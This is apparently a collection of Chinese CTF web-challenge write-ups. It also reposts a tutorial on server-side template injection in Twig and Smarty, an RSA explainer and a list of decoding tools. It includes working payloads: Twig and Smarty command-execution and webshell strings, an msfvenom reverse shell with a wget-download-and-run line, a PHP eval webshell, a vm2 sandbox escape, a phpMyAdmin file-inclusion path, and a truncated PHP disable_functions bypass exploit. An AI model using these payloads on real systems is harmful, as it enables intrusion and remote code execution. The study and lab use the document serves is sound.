why

疯疯癫癫的小辣鸡

写简单点,要下班了

回去玩原神了

image-20240514220722582

我没有扫码,正确选择

view-source查看源代码

image-20240514220753419

我一开始还在找hex_md5的解决方法

才发现直接./flag.php进入页面

我透!!!!!!

image-20240514220856924

我和购买者

所以说,我也可以进是吧

尝试xff:127.0.0.1

image-20240514220940423

拿下!!!!

image-20240514211603682

怎么说这道题呢?

我只能说,不是哥们

我真的是醉了

买 1 输入9也不行,我在想是不是有问题

我觉得就是9输进去之后就不是9了,所以不对

所以到处看看

看到unicorn

emm

应该是提示的unicode吧,我实在找不到线索了

所以呢,也就是说,emm,这个去找一个code解码之后很大的字符试试

找了个10000

好好好

拿到flag

先扫描文件,发现robots.txt

之后发现

image-20240514164746970

抓包访问

发现

image-20240514164317787

前往发现代码

image-20240514164708798

level1:

num<2020 num+1>2021

怎么说,因为intval,所以15e10=15

但是15e10+1就是15e10+1代表的值

所以传这个就行

level2:

$md5==md5($md5)

但是是弱比较,所以就是说0exxxxxx=0exxxxxxxx

找到一个0e开头且md5值0e开头的就行

level3:

system(get_flag)

先传个ls上去,这里是过滤了cat和空格

找到

image-20240514165826395

所以就是绕过空格和cat

tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

拿到flag

image-20240514153039668

emm就是,怎么说,查看源代码没什么用

所以扫文件发现后台的git文件

再进行githack,下载下载下来了文件

image-20240514153143827

image-20240514153255877

发现了这个!!!

所以我们要想办法,把$handsome之类的改为flag

最简单的就是在get里面yds=flag

拿到flag

php常见的模板:twig,smarty,blade

1Twig

Twig是来自于Symfony的模板引擎,它非常易于安装和使用。它的操作有点像Mustache和liquid。

img

<?php
  require_once dirname(__FILE__).'\twig\lib\Twig\Autoloader.php';
  Twig_Autoloader::register(true);
  $twig = new Twig_Environment(new Twig_Loader_String());
  $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); // 将用户输入作为模版变量的值
  echo $output;
?>

Twig使用一个加载器 loader(Twig_Loader_Array) 来定位模板,以及一个环境变量 environment(Twig_Environment) 来存储配置信息。

其中,render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。

使用 Twig 模版引擎渲染页面,其中模版含有 变量,其模版变量值来自于GET请求参数$_GET[“name”] 。

显然这段代码并没有什么问题,即使你想通过name参数传递一段JavaScript代码给服务端进行渲染,也许你会认为这里可以进行 XSS,但是由于模版引擎一般都默认对渲染的变量值进行编码和转义,所以并不会造成跨站脚本攻击:

img

但是,如果渲染的模版内容受到用户的控制,情况就不一样了。修改代码为:

<?php
  require_once dirname(__FILE__).'/../lib/Twig/Autoloader.php';
  Twig_Autoloader::register(true);
  $twig=newTwig_Environment(newTwig_Loader_String());
  $output=$twig->render("Hello {$_GET['name']}");// 将用户输入作为模版内容的一部分
  echo $output;?>

上面这段代码在构建模版时,拼接了用户输入作为模板的内容,现在如果再向服务端直接传递 JavaScript 代码,用户输入会原样输出,测试结果显而易见:

img

如果服务端将用户的输入作为了模板的一部分,那么在页面渲染时也必定会将用户输入的内容进行模版编译和解析最后输出。

在Twig模板引擎里,, 除了可以输出传递的变量以外,还能执行一些基本的表达式然后将其结果作为该模板变量的值。

例如这里用户输入name=20 ,则在服务端拼接的模版内容为:

img

尝试插入一些正常字符和 Twig 模板引擎默认的注释符,构造 Payload 为:

bmjoker{# comment #}{{2*8}}OK

实际服务端要进行编译的模板就被构造为:

bmjoker{# comment #}{{2*8}}OK

由于 作为 Twig 模板引擎的默认注释形式,所以在前端输出的时候并不会显示,而 16 作为模板变量最终会返回16 作为其值进行显示,因此前端最终会返回内容 Hello bmjoker16OK

img

通过上面两个简单的示例,就能得到 SSTI 扫描检测的大致流程(这里以 Twig 为例):

img

同常规的 SQL 注入检测,XSS 检测一样,模板注入漏洞的检测也是向传递的参数中承载特定 Payload 并根据返回的内容来进行判断的。

每一个模板引擎都有着自己的语法,Payload 的构造需要针对各类模板引擎制定其不同的扫描规则,就如同 SQL 注入中有着不同的数据库类型一样。

简单来说,就是更改请求参数使之承载含有模板引擎语法的 Payload,通过页面渲染返回的内容检测承载的 Payload 是否有得到编译解析,有解析则可以判定含有 Payload 对应模板引擎注入,否则不存在 SSTI。

凡是使用模板的网站,基本都会存在SSTI,只是能否控制其传参而已。

接下来借助XVWA的代码来实践演示一下SSTI注入

如果在web页面的源代码中看到了诸如以下的字符,就可以推断网站使用了某些模板引擎来呈现数据

<div>{$what}</div>
<p>Welcome, {{username}}</p>
<div>{%$a%}</div>
...

通过注入了探测字符串 $579,以查看应用程序是否进行了相应的计算:

img

根据这个响应,我们可以推测这里使用了模板引擎,因为这符合它们对于 双括号 的处理方式

在这里提供一个针对twig的攻击载荷:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

img

使用msf生成了一个php meterpreter有效载荷

msfvenom -p php/meterpreter/reverse_tcp -f raw LHOST=192.168.127.131 LPORT=4321 > /var/www/html/shell.txt

msf进行监听:

img

模板注入远程下载shell,并重命名运行

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("wget http://192.168.127.131/shell.txt -O /tmp/shell.php;php -f /tmp/shell.php")}}

img

以上就是php twig模板注入,由于以上使用的twig为2.x版本,现在官方已经更新到3.x版本,根据官方文档新增了 filter 和 map 等内容,补充一些新版本的payload:

{{'/etc/passwd'|file_excerpt(1,30)}}

{{app.request.files.get(1).__construct('/etc/passwd','')}}

{{app.request.files.get(1).openFile.fread(99)}}

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}

{{_self.env.enableDebug()}}{{_self.env.isDebug()}}

{{["id"]|map("system")|join(",")

{{{"<?php phpinfo();":"/var/www/html/shell.php"}|map("file_put_contents")}}

{{["id",0]|sort("system")|join(",")}}

{{["id"]|filter("system")|join(",")}}

{{[0,0]|reduce("system","id")|join(",")}}

{{['cat /etc/passwd']|filter('system')}}

具体payload分析详见:《TWIG 全版本通用 SSTI payloads

           《SSTI-服务器端模板注入

*2*|***2***Smarty

Smarty是最流行的PHP模板语言之一,为不受信任的模板执行提供了安全模式。这会强制执行在 php 安全函数白名单中的函数,因此我们在模板中无法直接调用 php 中直接执行命令的函数(相当于存在了一个disable_function)

但是,实际上对语言的限制并不能影响我们执行命令,因为我们首先考虑的应该是模板本身,恰好 Smarty 很照顾我们,在阅读模板的文档以后我们发现:$smarty内置变量可用于访问各种环境变量,比如我们使用 self 得到 smarty 这个类以后我们就去找 smarty 给我们的的方法

smarty/libs/sysplugins/smarty_internal_data.php  ——>  getStreamVariable() 这个方法可以获取传入变量的流

img

因此我们可以用这个方法读文件,payload:

{self::getStreamVariable("file:///etc/passwd")}

同样

smarty/libs/sysplugins/smarty_internal_write_file.php  ——>  Smarty_Internal_Write_File 这个类中有一个writeFile方法

class Smarty_Internal_Write_File
{
/**
* Writes file in a safe way to disk
*
* @param string $_filepath complete filepath
* @param string $_contents file content
* @param Smarty $smarty smarty instance
*
* @throws SmartyException
* @return boolean true
*/
public function writeFile($_filepath, $_contents, Smarty $smarty)
{
$_error_reporting = error_reporting();
error_reporting($_error_reporting & ~E_NOTICE & ~E_WARNING);
if ($smarty->_file_perms !== null) {
$old_umask = umask(0);
}

$_dirpath = dirname($_filepath);
// if subdirs, create dir structure
if ($_dirpath !== '.' && !file_exists($_dirpath)) {
mkdir($_dirpath, $smarty->_dir_perms === null ? 0777 : $smarty->_dir_perms, true);
}

// write to tmp file, then move to overt file lock race condition
$_tmp_file = $_dirpath . DS . str_replace(array('.', ','), '_', uniqid('wrt', true));
if (!file_put_contents($_tmp_file, $_contents)) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_tmp_file}");
}

/*
* Windows' rename() fails if the destination exists,
* Linux' rename() properly handles the overwrite.
* Simply unlink()ing a file might cause other processes
* currently reading that file to fail, but linux' rename()
* seems to be smart enough to handle that for us.
*/
if (Smarty::$_IS_WINDOWS) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
} else {
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
if (!$success) {
// remove original file
if (is_file($_filepath)) {
@unlink($_filepath);
}
// rename tmp file
$success = @rename($_tmp_file, $_filepath);
}
}
if (!$success) {
error_reporting($_error_reporting);
throw new SmartyException("unable to write file {$_filepath}");
}
if ($smarty->_file_perms !== null) {
// set file permissions
chmod($_filepath, $smarty->_file_perms);
umask($old_umask);
}
error_reporting($_error_reporting);

return true;
}
}

可以看到 writeFile 函数第三个参数一个 Smarty 类型,后来找到了 self::clearConfig(),函数原型:

public function clearConfig($varname = null)
{
return Smarty_Internal_Extension_Config::clearConfig($this, $varname);
}

因此我们可以构造payload写个webshell:

{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_GET['cmd']); ?>",self::clearConfig())}

CTF实例讲解

CTF地址:https://buuoj.cn/challenges(CISCN2019华东南赛区Web11)

题目模拟了一个获取IP的API,并且可以在最下方看到 “Build With Smarty !” 可以确定页面使用的是Smarty模板引擎。

img

img

在页面的右上角发现了IP,但是题目中显示的API的URL由于环境的原因无法使用,猜测这个IP受X-Forwarded-For头控制。

将XFF头改为 {6*7} 会发现该位置的值变为了42,便可以确定这里存在SSTI。

img

直接构造 {system(‘cat /flag’)} 即可得到flag

img

Smarty-SSTI常规利用方式:

1. {$smarty.version}

{$smarty.version}  #获取smarty的版本号

img

2. {php}{/php}

{php}phpinfo();{/php}  #执行相应的php代码

Smarty支持使用 {php}{/php} 标签来执行被包裹其中的php指令,最常规的思路自然是先测试该标签。但就该题目而言,使用{php}{/php}标签会报错:

img

因为在Smarty3版本中已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用。

3. {literal}

<script language="php">phpinfo();</script>   

这个地方借助了 {literal} 这个标签,因为 {literal} 可以让一个模板区域的字符原样输出。 这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。但是这种写法只适用于php5环境,这道ctf使用的是php7,所以依然失败

img

4. getstreamvariable

{self::getStreamVariable("file:///etc/passwd")}

Smarty类的getStreamVariable方法的代码如下:

public function getStreamVariable($variable)
{
$_result = '';
$fp = fopen($variable, 'r+');
if ($fp) {
while (!feof($fp) && ($current_line = fgets($fp)) !== false) {
$_result .= $current_line;
}
fclose($fp);
return $_result;
}
$smarty = isset($this->smarty) ? $this->smarty : $this;
if ($smarty->error_unassigned) {
throw new SmartyException('Undefined stream variable "' . $variable . '"');
} else {
return null;
}
}

可以看到这个方法可以读取一个文件并返回其内容,所以我们可以用self来获取Smarty对象并调用这个方法。然而使用这个payload会触发报错如下:

img

可见这个旧版本Smarty的SSTI利用方式并不适用于新版本的Smarty。而且在3.1.30的Smarty版本中官方已经把该静态方法删除。 对于那些文章提到的利用 Smarty_Internal_Write_File 类的writeFile方法来写shell也由于同样的原因无法使用。

5. {if}{/if}

{if phpinfo()}{/if}

Smarty的 {if} 条件判断和PHP的if非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if},也可以使用{else} 和 {elseif},全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array()等等,如:{if is_array($array)}{/if}

既然这样就将XFF头改为 {if phpinfo()}{/if} :

img

同样还能用来执行一些系统命令:

img

CTF漏洞成因

本题中引发SSTI的代码简化后如下:

<?php
require_once('./smarty/libs/' . 'Smarty.class.php');
$smarty = new Smarty();
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
$smarty->display("string:".$ip); // display函数把标签替换成对象的php变量;显示模板
}

可以看到这里使用字符串代替smarty模板,导致了注入的Smarty标签被直接解析执行,产生了SSTI。

为转载,原博客为:1. SSTI(模板注入)漏洞(入门篇) - bmjoker - 博客园 (cnblogs.com)

RSA加密算法是一种非对称加密算法。RSA是1977年由罗纳德·李维斯特(Ron Rivest)、阿迪·萨莫尔(Adi Shamir)和伦纳德·阿德曼(Leonard Adleman)一起提出的。当时他们三人都在麻省理工学院工作。RSA就是他们三人姓氏开头字母拼在一起组成的。

1973年,在英国政府通讯总部工作的数学家克利福德·柯克斯(Clifford Cocks)在一个内部文件中提出了一个相同的算法,但他的发现被列入机密,一直到1997年才被发表。

对极大整数做因数分解的难度决定了RSA算法的可靠性。 换言之,对一极大整数做因数分解愈困难,RSA算法愈可靠。假如有人找到一种快速因数分解的算法的话,那么用RSA加密的信息的可靠性就肯定会极度下降。 但找到这样的算法的可能性是非常小的。今天只有短的RSA钥匙才可能被强力方式解破。到目前为止,世界上还没有任何可靠的攻击RSA算法的方式。只要其钥匙的长度足够长,用RSA加密的信息实际上是不能被解破的。

一、举一个通俗易懂的例子

看一个数学小魔术:

让A写下一个任意3位数,并将这个数和91相乘;然后将积的最后三位数告诉B,这样B就可以计算出A写下的是什么数字了。

  • 比如A写下的是123,并且A计算出123 * 91等于11193,并把结果的末三位193告诉B ;
  • B只需要把193再乘以11,193 * 11 = 2123 末三位就是A写下的数字了;

道理很简单,91乘以11等于1001,而任何一个三位数乘以1001后,末三位显然都不变(例如123乘以1001就等于123123)。

知道原理后,可以构造一个定义域和值域更大的加密解密系统。
例如:

  • 任意一个数乘以400000001后,末8位都不变,而400000001 = 19801 * 20201。于是A来乘以19801,B来乘以20201,又一个加密解密不对称的系统就构造好了;
  • 甚至可以构造得更大一些 4000000000000000000000000000001 = 1199481995446957 * 3334772856269093,这样我们就成功构造了一个30位的加密系统;

如果仅仅按照上面的思路,如果对方知道原理,非常容易穷举出400000001这个目标值;RSA算法使用的是指数和取模运算,本质上就是上面这套思想。

此段落转载自:
如何用通俗易懂的话来解释非对称加密?

二、一句话:

对极大整数做因数分解的难度决定了RSA算法的可靠性。

三、RSA加密算法

3.1、维基百科——RSA加密算法

先看一下维基百科的算法描述:

公钥与私钥的产生

  • 1、随意选择两个大的质数 p和 q,p不等于 q,计算 N=pq
  • 2、根据欧拉函数,求得 r
r = φ(N) = φ(p)φ(q) = (p-1)(q-1)
  • 3、选择一个小于r并与r互质的整数e,求得e关于r的模反元素,命名为d ( ed ≡ 1(mod r) 模反元素存在,当且仅当e与r互质 );
  • 4、销毁p和q,此时 (N , e)是公钥,(N, d)为私钥;

加密消息

假设Bob想给Alice发送一个消息 n,他知道Alice产生的 Ne ;用下面这个公式他可以将 n加密为 c

c ≡ n^e (mod N)

计算 c并不复杂。Bob算出 c后就可以将它传递给Alice。

解密消息

Alice得到Bob的消息 c后就可以利用她的密钥d来解码。可以用以下这个公式来将 c转换为 n

n ≡ c^d (mod N)

此段落转载自:
维基百科——RSA加密算法

3.2、依照算法公式举个例子

依照算法公式来举个例子

1、随意选择两个大的质数 p和 q,p不等于 q,计算 N=pq

质数 定义:

除了1和该数自身外,无法被其他自然数整除的数。

举例:

p = 3
q = 5;
N = 3*5 = 15;

2、根据欧拉函数,求得 r

r = φ(N) = φ(p)φ(q) = (p-1)(q-1)。

欧拉函数 定义:

欧拉函数 φ(n)是小于或等于n的正整数中与n互质的数的数目。

例如:φ(8) = 4,因为1,3,5,7均和8互质。

举例:

r = φ(N) = φ(p)φ(q) = (p-1)(q-1) ;

r = φ(15) = φ(3)φ(5) = (3-1)(5-1) ;
r = 8

3、选择一个小于r并与r互质的整数e,求得e关于r的模反元素,命名为d ( ed ≡ 1(mod r) 模反元素存在,当且仅当e与r互质 );

互质 定义:

如果两个或两个以上的整数的最大公约数是 1,则称它们为互质

例如:1,3,5,7均和8互质

模反元素 定义:

如果两个正整数a和n互质,那么一定可以找到整数b,使得 ab-1 被n整除,或者说ab被n除的余数是1

例如:比如35互质,3关于5的模反元素就可能是2,因为 (3*2)%5=1

举例:

// 选择一个小于r并与r互质的整数e (1,3,5,7均和8互质):
e = 7;
// 求得e关于r的模反元素,命名为d ( ed ≡ 1(mod r) )

ed ≡ 1(mod r) ;

7*d ≡ 1(mod 8) ;
7*d%8 = 1;
// 这里取d = 15
d = 15

4、销毁p和q,此时 (N , e)是公钥,(N, d)为私钥

// 公钥  (N , e)
( 15,7 )
// 私钥 (N, d)
( 15,15 )

5、加密

假设Bob想给Alice发送一个消息 n,他知道Alice产生的 Ne ;用下面这个公式他可以将 n加密为 c

举例:

// 假设 
n = 2;
// 计算c
c ≡ n^e (mod N) ;

(c^-1 * n^e)%N = 1 ;
(c^-1 * 2^7)%15 = 1 ;
//
c = 8

6、解密

Alice得到Bob的消息 c后就可以利用她的密钥d来解码。可以用以下这个公式来将 c转换为 n

举例:

// 计算n
n ≡ c^d (mod N)

n ≡ 8^15 (mod 15) ;
(n^-1 * 8^15)%15 = 1 ;
//
n = 2;

常用的base编码、url编码等以及各种加密都有

http://www.hiencode.com/

https://tool.lu/

https://ctf.bugku.com/tools.html

https://www.ctftools.com/down/

https://www.idcd.com/

bugku的旧在线工具可以用来枚举栅栏密码和凯撒密码

md5解密

https://www.cmd5.com/

https://www.somd5.com/

https://pmd5.com/

维吉尼亚解密

很多时候可以直接跑出明文

https://www.guballa.de/vigenere-solver

https://www.dcode.fr/vigenere-cipher (要科学上网)

rot5/13/18/47

https://www.qqxiuzi.cn/bianma/ROT5-13-18-47.php

emoji加密

常见的就是base100和emoji-aes

https://aghorler.github.io/emoji-aes/

http://www.atoolbox.net/Tool.php?Id=937

https://ctf.bugku.com/tool/base100

brainfuck/Ook!

https://www.splitbrain.org/services/ook

零宽字符解密

http://330k.github.io/misc_tools/unicode_steganography.html

https://yuanfux.github.io/zero-width-web/

http://www.atoolbox.net/Tool.php?Id=829

熊曰/兽音/佛曰

http://hi.pcmoe.net/index.html

需要key的佛曰

https://talk-with-buddha.netlify.app/

解音频里的莫斯密码

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

Quoted-printable

http://web.chacuo.net/charsetquotedprintable/

Rabbit解码

https://www.sojson.com/encrypt_rabbit.html

哈哈哈哈

我tm来了!!!!

image-20240513211118650

输入1

image-20240513211326516

看了源码,没有js获取元素,猜测是用的cookie

抓包看看

输入1

image-20240513211709990

输入2

image-20240513211733766

cookie is stable实不欺我

那是什么在变呢?

image-20240513211828916

是这个

那我如果直接改会怎么样呢?

发现会变到cookie里去

image-20240513212127489

emm

那我怎么拿到东西呢?

<!-- Why not take a closer look at cookies? -->

???

什么意思

在这里插入图片描述

登登

模版注入

主要是我sql和rce试过了

都不行,就拿这个用了

尝试一下

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

twig模版注入

拿到flag

image-20240514145231899

除此之外啥也没有,猜测是文件泄露

dir扫描发现phpmyadmin可以进入

进入之后

image-20240514145323308

image-20240514145636934

这个时候就需要介绍一下4.8.1的专属漏洞

phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613) - 简书

【首发】phpmyadmin4.8.1后台getshell

两位大神,已经讲得很详细了

emm,简单来说,emm也不简单

就是有一个白名单,只要是白名单就可以进入,但是因为phpmyadmin人太好了,所以让我们传后面的参数,但是要使用?隔开

所以payload:

?target=db_sql.php?/../../../../../../../../flag

很多题解都要把问号二次url编码

但是我这里不用,嘻嘻

就拿到了flag

[HFCTF2020]JustEscape

image-20240621211441703

真的是php?

不懂

看到wp中大佬说是vm沙盒,先照着做吧

当code为空时

<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>

所以是一个获取键什么的

这里尝试一下

image-20240621211843751

发现一长串报错

error.stack可以简单解释为用alert()弹出console.log()的一样的异常堆栈信息

在github上可以找到破坏沙盒的方法

"use strict";
const {VM} = require('vm2');
const untrusted = '(' + function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
}
}+')()';
try{
console.log(new VM().run(untrusted));
}catch(x){
console.log(x);
}

其中选用

(function(){
TypeError.prototype.get_process = f=>f.constructor("return process")();
try{
Object.preventExtensions(Buffer.from("")).a = 1;
}catch(e){
return e.get_process(()=>{}).mainModule.require("child_process").execSync("cat /flag").toString();
})()

但是我们可以发现其中有些字符被过滤,所以,我们通过重写替换

(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()

prototyp => [${${prototyp}e}]
get_process => [${${get_proces}s}]
require => [${${requir}e}]
child_process => ${${child_proces}s}
execSync => [${${exe}cSync}]

image-20240621212758486

得到flag

[GXYCTF2019]StrongestMind

image-20240621201241587

我一开始想过会很难,但是没想到真是写一千次,直接脚本运行!

from requests import *
import time
import re
url = "http://dbbc5a26-5ac4-43d7-8540-ecfdbd1f1879.node5.buuoj.cn:81/"
s=session()
kk = re.compile(r'\d+ [-|+] \d+')
r=s.get(url)

for i in range(1001):


zz=kk.findall(r.text)[0]
#print(zz)
zzz=eval(zz)
#print(zzz)
data={"answer":zzz}
time.sleep(0.1)

r=s.post(url,data=data)

r.encoding='utf-8'

print((r.text))



[GKCTF 2021]easycms

image-20240621194533640

给我整懵了,我差点以为我点到了其它网站了。

看了眼提示,弱密码五位

在界面四处找了找,发现没有登陆界面,所以扫文件

发现admin.php

所以访问

image-20240621194846104

弱密码,可以慢慢试,也可以bp

但是文件名叫admin诶

尝试,最后发现是

admin/12345

登录成功

之后在界面里逛逛,发现了一个可以上传文件的地方

在设计->主题->导入主题

但是

image-20240621195039994

所以,我们要找地方,创建文件

所以就是要找可以创建或者上传文件的地方对吧

按照这个思路,我们可以找到

设计->组件->素材库

image-20240621195220695

随便上传一个txt上去

之后进行编辑

image-20240621195311156

现在的界面的话要更改存储路径来创建一个新文件

根据上文的文件,猜测

../../../../../system/tmp/tfeh

image-20240621200101620

也就是说,我们现在有这个文件了

所以我们开始猜测怎么爆flag出来

根据上面的,我们猜测这个flag应该和主题有关

所以我们去主题里面看看

随便选择一个主题

image-20240621200410599

在这一行里面我们都能看到一个

image-20240621200438587

那就很简单了,php源码搞一手

我直接cat /flag了

image-20240621200508201

之后返回主题,或者在右上角的可视化编辑里面看到页面

image-20240621200540019

我是放在友链里,在其它板块也是可以的

[BJDCTF2020]EzPHP’

查看源代码

发现

image-20240620204218107

base32解码,得1nD3x.php

访问,得到一长串代码,分开来一个个读(因为很像一关关闯关)

if($_SERVER) { 
if (
preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
)
die('You seem to want to do something bad?');
}

啊,基本上全部ban掉了啊

怎么办…

在这里我们可以将要上传的东西进行url编码,因为$_SERVER[‘QUERY_STRING’]不会解码url

if (!preg_match('/http|https/i', $_GET['file'])) {
if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
$file = $_GET["file"];
echo "Neeeeee! Good Job!<br>";
}
} else die('fxck you! What do you want to do ?!');

之后就是要上传debu,满足debu的值为**/^aqua_is_cute$/,但是不能强等于aqua_is_cute**所以我们可以采用%0a换行符进行绕过,同时url绕过黑名单,所以payload如下

deb%75=aq%75a_is_c%75te%0a//%75=u

之后

if($_REQUEST) { 
foreach($_REQUEST as $value) {
if(preg_match('/[a-zA-Z]/i', $value))
die('fxck you! I hate English!');
}
}

$_REQUEST也就是说我们可以传get和post,同时,post优先级高于get,所以可以在个体传入之后用post覆盖

该阶段payload如下:

image-20240620205138007

if (file_get_contents($file) !== 'debu_debu_aqua')
die("Aqua is the cutest five-year-old child in the world! Isn't it ?<br>");

也就是说要能读取到debu_debu_aqua

file=data://text/plain.deb%75_deb%75_aq%75a

所以用data伪协议写进去就好

payload:

image-20240620210212072

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
extract($_GET["flag"]);
echo "Very good! you know my password. But what is flag?<br>";
} else{
die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
}

强比较,可以用数组绕过

sh%61na[]=1&p%61sswd[]=2
if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
die("<br />Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w=");
} else {
include "flag.php";
$code('', $arg);
} ?>

这里存在**create_function()注入,而create_function()**存在两个参数$args和$code。

所以这里我们保证code传入create_function

之后是arg参数

可以使用get_defined_vars()输出所有变量,payload:

fl%61g[c%6de]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//

所以总payload为:

?deb%75=aq%75a_is_c%75te%0a
&file=data://text/plain,deb%75_deb%75_aq%75a
&sh%61na[]=1&p%61sswd[]=2
&fl%61g[c%6fde]=create_function
&fl%61g[%61rg]=}var_dump(get_defined_vars());//

发现

屏幕截图 2024-06-20 210915

重点在最后一句话

[“ffffffff11111114ggggg”]=> string(89) “Baka, do you think it’s so easy to get my flag? I hid the real flag in rea1fl4g.php 23333”

也就是说,flag在rea1fl4g.php

访问一下

image-20240620211146512

尝试一下伪协议读取源码放在arg中进行读取

因为之前过滤太多了,这里直接取反

php://filter/read=convert.base64-encode/resource=rea1fl4g.php
->
%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F

payload:

fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//

image-20240620211836564

base64解码得flag

[GYCTF2020]EasyThinking

一开始看到我还以为是二次注入呢

但是尝试之后发现不是

所以看看wp

发现是thinkphp框架

所以先看看是哪个版本

image-20240620192237924

session可控,修改session,长度为32位,session后缀改为.php(加上.php后为32位)
然后再search搜索的内容会直接保存在/runtime/session/目录下

所以我们注册账号,并在登陆时将session改为32位的php文件

image-20240620194714529

登录之后将在搜索中搜索

<?php eval($_POST[why]);?>

一句话木马上传完毕,这个木马会保存在session文件中

路径为

runtime/session/sess_1234567812345678123456781234.php

蚁剑连接

成功之后我们发现无法读取flag,这里要绕过disable_functions

上传exp

<?php

# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=72530
#
# This exploit should work on all PHP 7.0-7.3 versions
#
# Author: https://github.com/mm0r1

pwn("/readflag");

function pwn($cmd) {
global $abc, $helper;

function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}

function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= 8;
}
return $out;
}

function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= 8;
}
}

function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}

function parse_elf($base) {
$e_type = leak($base, 0x10, 2);

$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);

for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);

if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
}

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];
}

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue;

return $data_addr + $i * 8;
}
}

function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
